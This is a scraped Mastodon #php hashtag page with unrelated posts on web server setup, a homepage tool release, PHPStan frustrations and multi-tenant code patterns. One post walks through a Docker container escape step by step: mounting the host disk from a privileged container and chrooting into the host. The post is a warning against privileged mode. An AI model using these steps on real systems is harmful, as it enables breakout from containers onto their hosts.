dice.camp is one of the many independent Mastodon servers you can use to participate in the fediverse.
A Mastodon server for RPG folks to hang out and talk. Not owned by a billionaire.

Administered by:

Server stats:

1.5K
active users

#php

53 posts38 participants3 posts today

Anyone have an up-to-date web server setup guide they recommend?

Need to spin up nginx, with PHP, SQLLite (and maybe Redis). Want to ensure I'm following all modern best practices - I haven't done this in 3 or 4 years.

✅ Preferably with Ubuntu.

🙅‍♂️ Please don't tell me to use Docker

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!

ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.

Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?

Here's why (one, simple example): 

Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference. 

1) Start two containers.

docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu

2) Inspect /dev in the unprivileged container.

docker exec -it ubuntu-unprivileged bash
ls /dev
exit

You'll only see a limited set of devices. No disk access. 

3) Now inspect /dev in the privileged container.

docker exec -it ubuntu-privileged bash
ls /dev

/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.

4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.

mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever

5) You can now enumerate - and access - the Docker host's logical volume.

ls -la /tmp/whatever

6) If you wish, you can even chroot into the host:

chroot /tmp/whatever /bin/bash

The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.

Usually the grumpy guy means well. He just doesn't know how to explain it properly.

thank you #kiki users for your gracious patience over the past few months 🙏

kiki v1.1.0 is now available on itch. it includes many new requested features, including preliminary support for the gopher protocol.

if you haven't heard of kiki before: it's a tiny home page construction set written to be fast and easy to modify. it's my response to 20 years of dealing with the bloated, frustrating, and exhausting world of wordpress and other heavyweight CMSes.

if you're into writing things with just a text editor, then uploading your document over ftp - then kiki is for you.

(conversely, if you're into dragging and dropping widgets in a massive javascript interface - kiki is *not* for you 😆)

tomodashi.com/kiki

truth be told, gopher support may or may not survive the year. it's an absolutely gnarly protocol that barely deserves to be called one - there are SO many different implementations and revisions. i tried to implement only what made sense to me, and it's basic at best.

PHP is when you spend eight hours mapping a dynamic OOP query structure into an array structure so that an external library can read it. However, today, PHPStan 1.12.28 required me to specify the array value EXACTLY. Yet it doesn't support the necessary circular dependencies by its `@phpstan-type`... 👏

This is why I sometimes need a three-week vacation from PHP; otherwise, I'll burn out.

What remains? Delete all type definitions, and then exclude each resulting phpstan error individually. Awesome! More wasted time!

And of course some after-work Golang :go: to keep me sane.

Continued thread

🎛️ Custom Controllers: Nuclear option for completely different workflows
while keeping shared business logic
🔧 Pattern works across languages - #Go #Rust #PHP all support interface-based customization
📊 Real result: Security patches deploy in hours not weeks, features built once serve all customers

eloquentarchitecture.com/custo

Eloquent Architecture · The Custom Tenant Code Nightmare (And How to Wake Up)You're three months into a new job when someone mentions "we have a dozen different branches for our customers." Learn how to escape the custom code nightmare with four proven patterns that actually scale, plus real Laravel examples.